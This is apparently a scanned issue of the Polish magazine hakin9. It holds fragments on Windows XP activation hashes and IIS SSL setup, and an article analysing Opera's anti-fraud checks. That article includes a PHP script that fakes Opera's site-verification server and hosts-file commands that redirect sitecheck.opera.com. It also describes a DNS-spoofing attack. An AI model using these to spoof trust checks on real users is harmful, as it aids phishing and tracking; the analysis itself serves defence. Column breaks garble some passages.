Tak więc 128 MB fizycznej pamięci
zostanie zwykle zaklasyfikowane jako
pomiędzy 64MB a 127MB.
Czas na rzeczywisty przykład
Jedna z naszych testowych konfigu-
racji dała nam taki wynik:
0xC5 0x95 0x12 0xAC 0x01 0x6E 0x2C 0x32
Skonwertujmy te wartości na słowa
H1 oraz H2:
H1 = 0xAC1295C5
i
H2 = 0x322C6E01
Dzieląc oba słowa na grupy bitów
opisujące sprzęt, otrzymamy:
Modyfikacje sprzętowe
Szukając
efektów
modyfikacji
sprzętowej po aktywacji zainstalo-
wanego systemu Windows XP, moż-
na zauważyć, że główną rolę odgry-
wa tu plik 'wpa.dbl' znajdujący się w
katalogu 'system32 '. Jest to prosta
baza danych zaszyfrowana algoryt-
mem RC4, w której jest umieszczo-
ny czas wygaśnięcia aktywacji jak i
CONFIRMATION ID, a także: war-
tość [a] dla pola konfiguracji sprzętu
reprezentująca bieżącą konfigura-
cję, wartość [b] dla pola konfiguracji
sprzętu reprezentująca konfigurację
w czasie aktywacji.
Podczas gdy wartość [a] jest au-
tomatycznie uaktualniana za każ-
dym razem, gdy konfiguracja jest
zmieniana, [b] pozostaje stała. Za-
tem [b] może być uważane za mi-
gawkę konfiguracji sprzętowej w
czasie aktywacji produktu. Migawka
ta nie istnieje przed aktywacją i je-
Tabela 7.
Słowa podzielone na poszczególne bity
Dw
Offset
Wartość
Znaczenie
H1
0
0x1C5
'1234 – ABCD
H1
10
0x0A5
'00C0DF089E44'
H1
20
0x37
'SCSICDROMPLEXTOR_CD-ROM_PX-
32TS__1.01'
H1
27
0x15
'PCIVEN_102B&DEV
_0519&SUBSYS_
00000000&REV_01'
H2
0
0x1
(nieużywany,ustawiony na 001)
H2
3
0x00
(numer seryjny procesora nie jest do-
stępny)
H2
9
0x37
'SCSIDISKIBM
___DCAS-34330___S65A'
H2
16
0x0C
'PCIVEN_9004&DEV
_7178&SUBSYS
_00000000&REV_03'
H2
21
0x1
'PCIVEN_8086&DEV
_7111&SUBSYS
_00000000&REV_01'
H2
25
0x1
'GenuineIntel Family 6 Model 3'
H2
28
0x3
(system ma 128 MB RAM)
H2
31
0x0
(system nie jest dokowalny)
Literatura
• Fragmenty ABC systemu Windows XP, wyd. Helion.
O autorze
Autor jest informatykiem w średniej wielkości firmie, pisze programy i studiuje w Kato-
wicach. Kontakt z autorem: rafalpa@interia.pl
żeli porównamy wielkość pliku wpa.dbl przed i po pro-
cesie aktywacji, dostrzeżemy powiększenie się jego
rozmiaru. Dzieje się tak dlatego, że migawka jest do-
dawana do bazy. Kiedy trzeba rozsądzić, czy jest po-
trzebna ponowna aktywacja, wartości dla pola kon-
figuracji sprzętu [a] są porównywane z wartościami
[b], czyli konfiguracja bieżąca jest porównywana z tą,
która była aktualna podczas aktywacji systemu.
Niedokowalny komputer
W typowym przypadku porównywane są wszyst-
kie bity obu wartości za wyjątkiem nieużywane-
go i określającego dokowanie. Jeżeli od czasu ak-
tywacji zmieniły się więcej niż trzy z dziesięciu pól
bitowych w wartości [a] – co odpowiada zmianie
4 lub więcej urządzeń), wymagana jest ponowna
aktywacja. Oznacza to na przykład, że zmieniając
dysk twardy, napęd CD-ROM i rozmiar pamięci nie
jesteśmy zmuszani do reaktywowania systemu. Jed-
nakże jeśli dokonamy kompletnej reinstalacji Win-
dows XP, informacja [b] ulegnie zniszczeniu i system
trzeba będzie reaktywować, nawet jeśli nie dokona-
liśmy żadnych zmian w konfiguracji sprzętu.
Dokowalny komputer
Jeżeli wartość bitu 32 wskazuje, że komputer ma sta-
cję dokującą, sprawdzanych jest tylko siedem z dzie-
sięciu pól bitowych (pomijane są: kontroler SCSI, IDE i
karta graficzna). Niestety, znowu tylko trzy z tych sied-
miu pól mogą się zmienić bez wymuszania ponownej
aktywacji systemu.
Podsumowanie
W tym dokumencie został opisany proces startu sys-
temu Windows, a także sposób aktywacji systemu
zaimplementowany w Windows XP. Ukazano, jakie
dane są przesyłane i jak zmiany sprzętowe wpły-
wają na aktywowaną instalację. Patrząc technicz-
nie na działanie Windows Product Activation, wysu-
wamy wniosek, że nie jest ona aż tak problematycz-
na jak się tego spodziewamy. WPA jest jednak dość
tolerancyjne w stosunku do zmian sprzętowych. Do-
datkowo pola bitowe zapisujące konfigurację sprzę-
tu mają określoną pojemność, wiec wiele urządzeń
może być określonych przez tę samą wartość. Tak
więc wiadomo, że CD-ROM PX-32TS jest reprezen-
towany przez wartość 0x37 = 55. Jednak niemożli-
wym jest określenie na podstawie wartości 55, któ-
rą otrzyma Microsoft, że to jest na pewno CD-ROM
PX-32TS.
W opozycji do wielu krytycznych wypowiedzi na
temat WPA, uważam, że procedura ta nie przeszka-
dza zbytnio w typowych modyfikacjach sprzętu – a
co więcej, respektuje prawo użytkownika do prywat-
ności. l
www.hakin9.org
hakin9 Nr 10/2007
56
Obrona
Z
apewne sam Sir Timothy Berners-Lee,
tworząc podwaliny pod protokół HTTP,
nie spodziewał się, że jego dziecko bę-
dzie w przyszłości groźną bronią w rękach
zwykłych kryminalistów.
Celem poniższego artykułu będzie przyj-
rzenie się, w jaki sposób radzi sobie popularny
klient protokołu HTTP – przeglądarka interne-
towa Opera – w ochronie nieświadomych użyt-
kowników Sieci przed staniem się ofiarą inter-
netowego oszustwa.
Zagrożenia
Jak wygląda oszustwo w ujęciu protokołu
HTTP? Otóż w najprostszej implementacji po-
lega ono na stworzeniu przez cyberprzestępcę
spreparowanego serwisu internetowego danej
instytucji. Najczęściej podrabia się witryny in-
stytucji, w których klienci dokonują różnego ro-
dzaju transakcji elektronicznych o charakterze
finansowym – tzw. e-commerce (np. banki in-
ternetowe, serwisy aukcyjne).
Zadaniem spreparowanego serwisu jest
najczęściej gromadzenie wrażliwych danych
użytkowników, takich jak hasła dostępu czy
kody autoryzacyjne do systemów bankowości
internetowej (w celu późniejszego logowania
się do nich i wyprowadzania środków pienięż-
nych z rachunków), czy też danych osobowych
(aby móc je wykorzystać do innych form prze-
stępstw, takich jak kradzieże tożsamości w ce-
lu np. dokonania wymuszenia). Cyberprzestęp-
com zdarza się zamieszczać na łamach fał-
szywych serwisów zwykłe prośby o dokonanie
wpłat na konkretny rachunek bankowy. Przy-
kładem może być tu fałszywy sklep interneto-
wy, w którym należności za kupno towarów są
regulowane na odmienny w stosunku do orygi-
nalnego rachunek bankowy.
Opera – mechanizmy
ochrony przed oszustwami
Marcin Kopeć
stopień trudności
Od kilku lat wszyscy jesteśmy świadkami nowej ery w historii
globalnej sieci Internet. Otóż narzędzie, które początkowo miało
służyć rozwojowi myśli technicznej, w momencie wkroczenia
weń wielkiego biznesu spowodowało pociągniecie za nim
osób chcących w łatwy i szybki sposób wzbogacić się cudzym
kosztem – mowa tu o internetowych przestępcach.
Z artykułu dowiesz się
• w jaki sposób działa mechanizm ochrony przed
oszustwami zaimplementowany w przeglądarce
internetowej Opera,
• czy informacja dostarczana użytkownikowi
przez mechanizm ochronny charakteryzuje się
dostatecznym poziomem rzetelności?
Co powinieneś wiedzieć
• znajomość protokołu HTTP – RFC 2616,
• postawy programowania w PHP, HTML.
www.hakin9.org
Listing 1.
Zapytanie do serwera weryfikującego (tryb automatyczny)
GET /?host
=
www.hakin9.org
&
ph
=
CrmIXGGAlC7mS455Q2szhQ
==
&
hdn
=
hz3g35Z4i/6JXNonVjl4Mg
==
HTTP/1.1
User
-
Agent
:
Opera/9.21
(
Windows NT 5.1
;
U
;
pl
)
Host
:
sitecheck.opera.com
Accept
:
text/html, application/xml
;
q
=
0.9,
application/xhtml
+
xml, image/png, image/jpeg, image/gif,
image/x
-
xbitmap,
*
/
*;
q
=
0.1
Accept
-
Language
:
pl
-
PL,pl
;
q
=
0.9,en
;
q
=
0.8
Accept
-
Charset
:
iso
-
8859
-
1, utf
-
8, utf
-
16,
*;
q
=
0.1
Connection
:
Keep
-
Alive
Listing 2.
Prosty skrypt udający działanie serwera weryfikującego
<?
php
/*
* Użycie:
* {na komputerze z Apache/PHP}
* - zamieść plik jako http://twojastrona.com/index.php
* - dodaj odpowiedni wpis do pliku hosts, np:
* Unix:
* echo 'XXX.XXX.XXX.XXX sitecheck.opera.com' >>
* /etc/hosts
* Windows:
* echo XXX.XXX.XXX.XXX sitecheck.opera.com >>
* %SystemRoot%/system32/drivers/etc/hosts
* gdzie XXX.XXX.XXX.XXX to adres IP twojastrona.com
*/
$mode
= 1;
switch
(
$mode
)
{
case
1:
$trust
=
'NV'
;
break
;
case
2:
$trust
=
'V'
;
break
;
case
3:
$trust
=
'W'
;
break
;
}
header
(
'Content-type: text/xml'
)
;
echo
'
<?
xml version=
"1.0"
encoding=
"utf-8"
?>
<
trustwatch version=
"1.0"
>
<
package
>
<
action type=
"searchresponse"
>
';
echo
"
<
trustlevel
>
$trust
<
/trustlevel
>
<
host
>
$host
<
/host
>
<
partner
>
0
<
/partner
>
<
serverexpiretime
>
0
<
/serverexpiretime
>
<
clientexpiretime
>
0
<
/clientexpiretime
>
";
if
{
$mode
==
3
)
echo
"
<
blacklist
>
<
ph
>
$ph
<
/ph
>
<
/blacklist
>
";
echo
"
<
/action
>
<
/package
>
<
/trustwatch
>
";
?>
hakin9 Nr 10/2007
www.hakin9.org
Obrona
58
Fałszywe serwisy internetowe,
które przy wykorzystaniu metod so-
cjotechnicznych starają się doko-
nać wyłudzenia, bywają najczęściej
umieszczane na serwerach znajdu-
jących się w krajach, w których obo-
wiązujące regulacje prawne nie po-
zwalają na sprawną interwencję or-
ganów ścigania w przypadku otrzy-
mania zgłoszenia z innego kraju o
próbie bądź popełnieniu przestęp-
stwa – dobrym przykładem są tu na-
si wschodni sąsiedzi.
Powszechnie stosowaną metodą
na uwiarygodnienie fałszywego serwi-
su internetowego jest zamieszczanie
go pod adresem domenowym o łudzą-
co podobnej do oryginalnej nazwie.
Przykładowo gdy celem cyberprze-
stępcy jest oszukanie klientów ban-
ku thisismybank.com, może on spró-
bować zarejestrować domeny pod fał-
szywą witrynę z wykorzystaniem mię-
dzy innymi takich nazw jak: thisis-my-
bank.com (dodano znak rozdzielający
nazwę), thisissmybank.com (dodano
dodatkową literę), thlsismybank.com,
th1sismybank.com (zamieniono jedną
literę na inną, bądź na liczbę czy znak
specjalny), czy tworząc poddomenę
zawierającą w członie nazwę orygi-
nalną jak np. tihisismybank.com.xy-
zxyz.com. Oszukańcze serwisy są
zwykle udostępniane z wykorzysta-
niem http:// w przeciwieństwie do ory-
ginalnych, udostępnianych po https://
wszystko po to, aby nie wzbudzić u
użytkownika podejrzeń komunikatem
o nieprawidłowym certyfikacie SSL.
Najczęściej, aby sprowokować
klienta do odwiedzin fałszywej wi-
tryny, przestępcy stosują techniki
spammingu – czyli masowego wysy-
łania wiadomości (np. przy pomocy
protokołu poczty elektronicznej bądź
komunikatorów internetowych), któ-
re zawierają informację mającą na-
kłonić adresata do odwiedzin. Wśród
treści tych wiadomości znaleźć moż-
na wyjątkowo okazyjną ofertę spe-
cjalną – promocje, informację o zwy-
cięstwie w konkursie czy też proś-
bę o potwierdzenie hasła. Czasami
można odnaleźć link do oszukańczej
strony zamieszczony w publicznym
serwisie internetowym np. jako post
na forum bądź komentarz w blogu.
Reakcja producentów
Aby dać użytkownikom narzędzie
pozwalające stwierdzić, czy dany
serwis internetowy jest wiarygodny
bądź stworzony w celu malwersacji,
producenci oprogramowania ochron-
nego, a w ślad za nimi czołowi pro-
ducenci przeglądarek internetowych,
przygotowali swoje rozwiązania ma-
jące realizować powyższy cel.
Mechanizmy ochrony przed
oszustwami zastosowano między
innymi w najnowszych wersjach po-
pularnych przeglądarek tj. Internet
Explorer 7, Mozilla Firefox 2.x, czy
Opera 9.x.
W artykule skoncentrowano się
na badaniu zachowania Opery 9.21
(build 8776) w wersji polskiej pod
systemy Windows.
Sposoby ochrony
W Operze mechanizm ochrony przed
oszustwami działa w dwóch trybach.
Pierwszy – nazwijmy go umow-
nie automatycznym – polega na każ-
dorazowej weryfikacji adresu URL
przed jego wywołaniem. Jest to tryb
domyślnie wyłączony. Drugi, manu-
alny, jest wywoływany ręcznie przez
użytkownika poprzez kliknięcie sym-
boli stanu wiarygodności strony – li-
tery i, bądź znaku ? w prawym rogu
paska adresowego, lub w przypadku
autoryzowanych serwisów, udostęp-
nianych via https://, po naciśnięciu
symbolu kłódki i przejściu do zakład-
ki Ochrona przed oszustwami.
Tryb automatyczny
Gdy użytkownik pragnie odwiedzić
interesujący go serwis, w stronę ser-
wera pełniącego funkcję weryfikato-
ra witryn, dostępnego pod adresem
sitecheck.opera.com, kierowane jest
metodą
GET
zapytanie HTTP zawie-
rające wartości w następujących pa-
rametrach:
•
host
– nazwa hosta,
•
ph
– hash z URL’a,
•
hdn
– hash z nazwy hosta.
Przykład załączony jest na Listingu 1.
Ciekawa cecha powyższego me-
chanizmu jest związana z faktem,
że prośby o weryfikację serwisów
http:// kierowane są do serwera si-
techeck.opera.com z wykorzysta-
niem protokołu HTTP, który sam w
sobie nie posiada funkcji pozwala-
jącej na uwiarygodnienie strony ser-
wera podczas transmisji, natomiast
tylko w przypadku serwisów https://
sprawdzana jest wiarygodność stro-
ny serwera przy wykorzystaniu ce-
chy protokołu HTTPS jaką niewątpli-
wie jest udział w infrastrukturze klu-
cza publicznego. Tu zastosowano
umieszczony na serwerze, wygene-
rowany przez autoryzowane CA cer-
tyfikat SSL.
Certyfikat weryfikowany jest w
sposób prawidłowy, próby podsta-
wienia własnoręcznie wygenerowa-
nego certyfikatu serwera kończyły
się pojawieniem stosownego komu-
nikatu o jego nieprawidłowości.
Greylisting
Z informacji udostępnionych przez
firmę Opera wynika, iż serwer we-
ryfikujący witryny, po otrzymaniu za-
pytania od użytkownika, sprawdza
je wykorzystując technologię greyli-
stingu, korzystając z baz dwóch nie-
zależnych dostawców. Organizacja
GeoTrust za pomocą swojego pro-
duktu TrustWatch, udostępnia białą
listę – czyli bazę danych witryn za-
ufanych, oraz czarną listę – bazę wi-
tryn, co do których zachodzą podej-
rzenia, że zostały stworzone w ce-
lu dokonania oszustwa. Bazy Tru-
stWatch tworzone są przez pracują-
cy w GeoTrust zespół ekspertów, na
podstawie próśb o weryfikację stron
kierowanych do nich przez użytkow-
W Sieci
• http://www.opera.com,
• http://www.phishtank.com,
• http://www.trustwatch.com.
Rysunek 1.
Tabela stanów mechanizmu
ochrony przed oszustwami
Opera – nie daj się oszukać
hakin9 Nr 10/2007
www.hakin9.org
59
ników ich firmowego Toolbar’a. Po-
tem dokonują oni klasyfikacji witry-
ny, a następnie umieszczają ją na
którejś z list: czarnej lub białej, bądź
ignorują w przypadku problemów z
ustaleniem jej wiarygodności.
Drugim źródłem, którym w proce-
sie analizy witryn posługuje się serwer
weryfikujący, jest czarna lista tworzo-
na przez społeczność ludzi uczestni-
czących w niekomercyjnym projekcie
PhishTank, zapoczątkowanym przez
twórców usługi OpenDNS.
Serwer weryfikujący pobiera
czarną listę PhishTank co pewien
okres czasu, w konsekwencji czego
użytkownik Opery może nie otrzymać
ostrzeżenia o najświeższych udo-
stępnianych tam zgłoszeniach – co
też można zaobserwować odwiedza-
jąc najnowsze linki udostępniane na
stronach PhishTank przy włączonym
mechanizmie ochrony przed oszu-
stwami. W przypadku sprawdzania
stron z wykorzystaniem mechanizmu
TrustWatch problem ten nie występu-
je, gdyż serwer weryfikujący kieru-
je zapytanie w czasie rzeczywistym,
bezpośrednio do dostawcy.
Klasyfikacja
Serwer weryfikujący dostarcza od-
powiedź na żądanie sprawdzenia
strony w postaci dokumentu XML.
Wśród dostarczanych parametrów
najważniejszym jest trustlevel, który
definiuje poziom zaufania do strony
w następujący sposób:
• NV – Not Verified – strona nie zo-
stała umieszczona ani na białej
ani na czarnej liście,
• V – Verified – witryna znajduje
się na białej i nie znajduje się na
czarnej liście,
• W – Warning – witryna znajduję
się na czarnej liście.
W parametrze blacklist, który po-
jawia się w przypadku wystąpienia
stanu W – Warning, przekazywany
jest hash z URL’a znajdującego się
na czarnej liście.
Listing 3.
Zapytanie do serwera weryfikującego (tryb manualny)
GET /info/?host
=
www.hakin9.org
&
ph
=
CrmIXGGAlC7mS455Q2szhQ
==
&
hdn
=
hz3g35Z4i/6JXNonVjl4Mg
==
&
site
=
http
%
3A
%
2F
%
2Fwww.hakin9.org
%
2F HTTP/1.1
User
-
Agent
:
Opera/9.21
(
Windows NT 5.1
;
U
;
pl
)
Host
:
sitecheck.opera.com
Accept
:
text/html, application/xml
;
q
=
0.9,
application/xhtml
+
xml, image/png, image/jpeg, image/gif,
image/x
-
xbitmap,
*
/
*;
q
=
0.1
Accept
-
Language
:
pl
-
PL,pl
;
q
=
0.9,en
;
q
=
0.8
Accept
-
Charset
:
iso
-
8859
-
1, utf
-
8, utf
-
16,
*;
q
=
0.1
Connection
:
Keep
-
Alive, TE
TE
:
deflate, gzip, chunked, identity, trailers
Rysunek 2.
Wykorzystując technikę spoofingu, wprowadzono w błąd użytkownika sprawdzającego wiarygodność
serwisu www.hakin9.org
hakin9 Nr 10/2007
www.hakin9.org
Obrona
60
Parametry clientexpiretime i se-
rverexpiretime, jak domniemywam,
określają czas życia informacji w
procesie cachingu.
Sposób odpowiedzi z serwera
na żądanie przeglądarki można za-
obserwować wykorzystując załączo-
ny skrypt (Listing 2), będący de fac-
to prostym emulatorem serwera we-
ryfikującego.
Raportowanie
Na podstawie otrzymanych informa-
cji, mechanizm antyfraudowy przy-
biera odpowiedni stan, który w przy-
padku W – Warning, sygnalizowany
jest przez pojawienie się komunika-
tu mającego poinformować użytkow-
nika o niebezpieczeństwach zwią-
zanych z wizytą strony – opera:
fraud-warning, a także poprzez wy-
świetlenie odpowiedniego symbolu
w prawym rogu paska adresowego.
Tabelę stanów z symbolami załączo-
no na Rysunku 1.
Tryb manualny
Jak już wspomniałem we wcześniej-
szej części artykułu, użytkownik ma
możliwość skorzystania z weryfika-
cji manualnej. Po dostaniu się do
zakładki Ochrona przed oszustwa-
mi, przeglądarka wysyła analogiczne
zapytanie jak w przypadku trybu au-
tomatycznego, z tą różnicą, iż wcze-
śniej kieruje metodą
GET
drugie za-
pytanie HTTP (Listing 3.) z dodatko-
wym parametrem site, zawierającym
jako swoją wartość pełny URL w for-
mie jawnej, który to użytkownik ma
wyświetlony w pasku adresowym w
chwili wysłania żądania o weryfika-
cję strony.
W odpowiedzi serwer weryfi-
kujący zwraca dokument w forma-
cie HTML, który następnie jest wy-
świetlany w oknie zakładki. Zawie-
ra on tekstową informację o pozio-
mie wiarygodności strony, a tak-
że – w przypadku stanów V i NV
– przycisk wywołujący metodę
POST
z dwoma parametrami: url – hash z
URL’a oraz opera – numer wersji
przeglądarki.
Po wywołaniu powyższej metody
serwer weryfikujący odsyła użytkow-
nika na witrynę PhishTank, aby ten
mógł zgłosić stronę jako podejrzaną.
Ryzyka
Uważny czytelnik na pewno za-
uważył, że największym proble-
mem bezpieczeństwa mechanizmu
ochrony przed oszustwami Opery
jest zastosowanie protokołu HTTP
do weryfikacji adresów zaczynają-
cych się od http://. Powyższy stan
rzeczy daje pewne możliwości nad-
użyć. Haker wiedząc, że komputer
ofiary prędzej czy później będzie
pytał swój serwer DNS o adres IP
serwera sitecheck.opera.com, mo-
że w stosunku do niego zaimple-
mentować atak DNS Spoofing, po-
legający na wysyłaniu spreparowa-
nych odpowiedzi na żądania DNS,
które rzekomo miałyby pochodzić z
rzeczywistego serwera DNS ofia-
ry, zawierających adres IP kom-
putera hakera w miejsce oryginal-
nego IP serwera sitecheck.ope-
ra.com (tematykę DNS Spoofing
omówiono w numer 2/2003 cza-
sopisma hakin9). W momencie,
gdy mechanizm antyfraudowy za-
cznie łączyć się z komputerem ha-
kera aby prowadzić proces weryfi-
kacji witryn, haker może wykorzy-
stać powyższy stan rzeczy między
innymi do uwiarygodnienia witryny
stworzonej w celu dokonania oszu-
stwa, wyświetlenia ostrzeżenia o
zagrożeniu oszustwem na zaufa-
nej witrynie, a także (co uważam
za najmniej abstrakcyjny przykład,
a zarazem najbardziej rzeczywiste
zagrożenie) w przypadku włączo-
nego u ofiary trybu automatyczne-
go, może śledzić aktywność ofiary
w Internecie, poprzez monitorowa-
nie stron, które odwiedza.
Efekt jednego z przykładowych
ataków załączono na Rysunku 2.
Podsumowanie
Mechanizm ochrony przed oszu-
stwami Opery daje użytkownikowi
możliwość uzyskania opinii o wiary-
godności danej witryny z dwóch nie-
zależnych źródeł informacji, co jest
niewątpliwie jego dużym plusem. W
zamian użytkownik musi zaakcep-
tować ryzyko związane z przesyła-
niem żądań weryfikacyjnych niebez-
piecznym kanałem – w tym miejscu
należy podkreślić, że większość ad-
resów w Internecie rozpoczyna się
od http://.
Na zakończenie wspomnieć na-
leży również o fakcie, że obecnie
coraz częściej cyberprzestępcy od-
chodzą od tradycyjnych form phi-
shingu, związanych z tworzeniem
oszukańczych stron internetowych
z podobną do oryginalnych nazwą,
a raczej uciekają się do dużo bar-
dziej wyrafinowanych technik oszu-
stwa. Wykorzystywać można w tym
celu złośliwe oprogramowanie, in-
tegrujące się z przeglądarką in-
ternetową i potrafiące podmieniać
użytkownikowi zawartość przeglą-
danych stron w locie, a także mo-
gące zafałszować informację o nie-
prawidłowym certyfikacie SSL. Ide-
alnym przykładem jest tu koń tro-
jański Torpig/Sinowall/Anserin (na-
zwa odmienna w zależności od sto-
sowanej nomenklatury producen-
tów oprogramowania antywiruso-
wego), który to jest szeroko sto-
sowany w rozproszonych syste-
mach phishingowych do wyłudze-
nia loginów/haseł kont klientów w
internetowych platformach banko-
wych.
W powyższym przypadku, jeśli
użytkownik nie ma 100% gwaran-
cji, że jego stacja robocza nie zo-
stała skompromitowana, to nie po-
winien ufać jakimkolwiek mechani-
zmom sprawdzania wiarygodności
witryn. l
O autorze
Marcin Kopeć pracuje jako oficer bez-
pieczeństwa w jednym z czołowych
polskich banków, należącym do naj-
większej finansowej grupy kapitało-
wej w Europie Środkowej. Na co dzień
zajmuje się problematyką bezpieczeń-
stwa transakcji elektronicznych, w tym
przeciwdziałaniem oszustwom w sekto-
rze bankowości internetowej. Ponadto
specjalizuje się w dziedzinie systemów
detekcji/przeciwdziałania włamaniom
oraz interesuje się kwestiami związany-
mi z bezpieczeństwem aplikacji webo-
wych. Kontakt z autorem:
marcin.kopec@bph.pl
Portal internetowy na którym można znaleźć
garść informacji z wybranych dziedzin IT.
http://howto.pl/
Hacking, security to pojęcia znane profesjonali-
stom na tym portalu można dowiedzieć się cze-
goś więcej o tych zagadnieniach.
http://www.security-web.info
Strona zawiera ogłoszenia pracy na stanowi-
ska związane z branżą IT.
http://pracait.com
Portal poświęcony aktualnościom, artykułom
ze świata informatycznego. Zawiera ciekawe
linki, gry on-line i wiele innych interesujących
wiadomości.
http://hackme.pl
Serwis internetowy firmy QuarkBit Software,
która zajmuje się tworzeniem oprogramowania
dla firm i osób prywatnych.
http://www.quarkbitsoftware.pl
Misją serwisu jest dostarczanie rzetelnych infor-
macji z zakresu szeroko pojętej informatyki. Za-
wiera najświeższe informacje z rynku informa-
tycznego i recenzje czasopism takich jak Hakin9,
php solution, sdj.
http://www.itnews.icx.pl
To portal wydawnictwa CSH. Na tej stronie za-
interesowana osoba znajdzie garść potrzeb-
nych informacji: aktualności ze świata informa-
tycznego, informacje na temat szkoleń itd.
http://www.szkolahakerow.pl
Serwis informacyjny, na którym znajdują się
najświeższe aktualności i artykuły, można zalo-
gować się na forum i podyskutować z ciekawy-
mi osobami na interesujące teamty.
http://www.cc-team.org
Strona internetowa poświęcona aktualnościom
informatycznym. Umieszczone są na niej cie-
kawe artykuły oraz recenzje pism.
http://www.huntersq2.boo.pl
Strony
polecane >>>
Strony
polecane
Misją Infoprof jest zrozumienie potrzeb klienta
i taki dobór usług by jak najlepiej spełniały one
jego oczekiwania, jednocześnie nie narażając
go na niepotrzebne koszty.
www.infoprof.pl
Portal poświęcony zdalnym rozwiązaniom IT,
świadczone usługi są dyskretne i dokładne.
http://xesit.pl
Portal powstał w celu rozreklamowania firmy
zajmującej się kompleksową usługą związaną
z promowaniem stron WWW.
http://www.webgroup.net.pl
www.hakin9.org
hakin9 Nr 10/2007
62
Obrona
R
ozpoczniemy od instalacji serwera
IIS na platformie Windows XP SP2.
W kolejnym kroku skonfigurujemy
go tak, aby działały na nim strony ASP.NET.
Na koniec dodana będzie obsługa protoko-
łu SSL.
Zasada ograniczonego zaufania leży u
podstaw użytkowania Internetu. Nie wol-
no instalować kontrolek ActiveX nieznanych
producentów. Nie należy odwiedzać podej-
rzanych stron WWW. Lepiej nie otwierać za-
łączników poczty nieznanego pochodzenia
itd. Można byłoby wymieniać i wymieniać,
czego to nie można robić surfując po Inter-
necie. Jednak pomimo wielu zagrożeń, skle-
py internetowe to dziś codzienność, a ban-
kowość elektroniczna rozwija się w najlep-
sze. To wszystko stało się możliwe dzięki
protokołom umożliwiającym jednoznaczną
identyfikację witryny WWW i pozwalającym
na bezpieczną transmisję danych pomiędzy
klientem a serwerem. Mowa tu oczywiście o
protokole SSL (ang. Secure Sockets Layer)
lub TLS (ang. Transport Layer Security) i ko-
rzystającym z niego protokole HTTPS (ang.
secure HTTP). Aby zaimplementować proto-
kół SSL, administrator serwera WWW musi
wygenerować klucz publiczny. Klucz ten po-
winien być następnie podpisany przez jed-
ną z organizacji zajmujących się potwierdza-
niem tego typu kluczy (ang. certificate autho-
rity – CA).
Konfiguracja serwera IIS
dla ASP.NET
z protokołem SSL
Sławomir Orłowski, Jacek Matulewski
stopień trudności
Każdy, nawet najprostszy, projekt powinien zostać
przetestowany. Niniejszy artykuł opisze, w jaki sposób możemy
lokalnie sprawdzić działanie witryny ASP.NET, która wymaga
uwierzytelnienia typu SSL. Jest on skierowany przede wszystkim
do programistów .NET.
Z artykułu dowiesz się
• jak do celów testowych zainstalować i skon-
figurować serwer IIS na komputerze wyposa-
żonym w system Windows XP SP2,
• o konfiguracji serwera IIS do obsługi stron
ASP.NET z uwierzytelnianiem SSL,
• artykuł ten należy traktować jako poradnik
dla programistów .NET, którzy chcą lokalnie
przetestować swoje witryny WWW wymaga-
jące użycia protokołu SSL. Dzięki temu moż-
na uniknąć wielu błędów, co zdecydowanie
podniesie bezpieczeństwo tworzonych pro-
jektów.
Co powinieneś wiedzieć
• ogólna znajomość systemu Windows XP,
• podstawowa znajomość platformy .NET,
• podstawowa znajomość zasad działania pro-
tokołów SSL, TLS i HTTPS.
Konfiguracja serwera IIS dla ASP.NET z protokołem SSL
hakin9 Nr 10/2007
www.hakin9.org
63
Działamy tutaj w myśl zasady,
że w końcu komuś musimy zaufać.
Można na to spojrzeć również jako
na pewnego rodzaju protekcję. Po-
wiedzmy, że chcemy zdobyć nową
pracę. Musimy więc przekonać na-
szego przyszłego szefa, że moż-
na nam zaufać. Największe szan-
se mamy, jeżeli ktoś godny zaufa-
nia nas poleci. I tak mniej więcej
działa podpisywanie certyfikatów.
Współczesne przeglądarki interne-
towe potrafią rozpoznać firmę, któ-
ra podpisuje dany certyfikat. Jeże-
li certyfikat jest nieznanego pocho-
dzenia, wówczas przed wejściem
na taką stronę zostaniemy poin-
formowani o możliwości zaistnie-
nia zagrożenia. Spora część użyt-
kowników ignoruje tego typu infor-
macje. Co to za zagrożenie, skoro
cała transakcja jest szyfrowana?
To prawda, nikt jej nie podsłucha,
ale nie możemy mieć pewności,
co serwer zrobi z poufnymi danymi
po ich otrzymaniu. W końcu to je-
mu ufamy na zasadzie wszystko al-
bo nic. Dla modelu sieciowego OSI
protokół HTTPS działa w warstwie
aplikacji, natomiast protokół SSL
działa w warstwie transportowej.
Takie rozwiązanie wymusza istnie-
nie jednego certyfikatu dla każde-
go adresu IP. Warto również wspo-
mnieć, że protokół SSL zawdzię-
czamy firmie Netscape. Podsumo-
wując, SSL gwarantuje:
• identyfikację stron, czyli pew-
ność, że nikt się nie podszywa
pod klienta bądź serwer,
• szyfrowanie danych, co prak-
tycznie uniemożliwia podsłuch,
• integralność danych, co ozna-
cza pewność, że przesyłane da-
ne nie zostały po drodze pod-
mienione, np. poprzez atak typu
man-in-the-middle.
Trzy główne czynniki (nie licząc
tzw. czynnika ludzkiego) wpływa-
ją na bezpieczeństwo transakcji
HTTPS. Po pierwsze, jakość im-
plementacji obsługi tego typu po-
łączeń w przeglądarce interneto-
wej. Po drugie, konfiguracja serwe-
ra WWW i po trzecie, użyty algo-
rytm kryptograficzny.
Instalacja serwera IIS
Firma Microsoft udostępniła dar-
mową wersję środowiska programi-
stycznego umożliwiającego tworze-
nie projektów ASP.NET. Visual Web
Developer, bo o nim mowa, posia-
da wbudowany serwer WWW, który
uruchamiany jest wyłącznie do ce-
lów testowych. Jest to szalenie wy-
godne rozwiązanie, ponieważ nie
musimy sami instalować i urucha-
miać serwera IIS w naszym syste-
mie. Jest on uruchamiany na czas
pracy środowiska, a następnie wy-
łączany.
Osobiście zachęcam do po-
brania pakietu Visual Web Deve-
loper i sprawdzenia jego napraw-
dę sporych możliwości. Jeśli jed-
nak chcielibyśmy sprawdzić lo-
kalnie zachowanie witryny WWW
wraz z protokołem HTTPS, musi-
my sami zainstalować i skonfigu-
rować serwer IIS. Jak się za chwi-
lę okaże, nie jest to wcale trudne.
Wystarczy dodać nowy składnik
systemu Windows ze standardowej
funkcji Dodaj/Usuń składniki sys-
temu Windows. Uruchamiamy Pa-
nel sterowania (np. przez okno Mój
komputer) i otwieramy aplet Dodaj/
Usuń programy. W jego oknie kli-
kamy przycisk Dodaj/Usuń składni-
ki systemu Windows. Sprawdzamy,
czy zaznaczona jest pozycja Inter-
netowe usługi informacyjne (IIS),
a w jej szczegółach, czy są za-
znaczone pozycje Common Files,
Przystawka internetowych usług
informacyjnych, Usługa SMTP i
Usługa World Wide Web. Jeżeli
nie, zaznaczamy je i klikamy Dalej.
Rysunek 1.
Aplikacja Zarządzanie komputerem z rozwiniętą listą usług
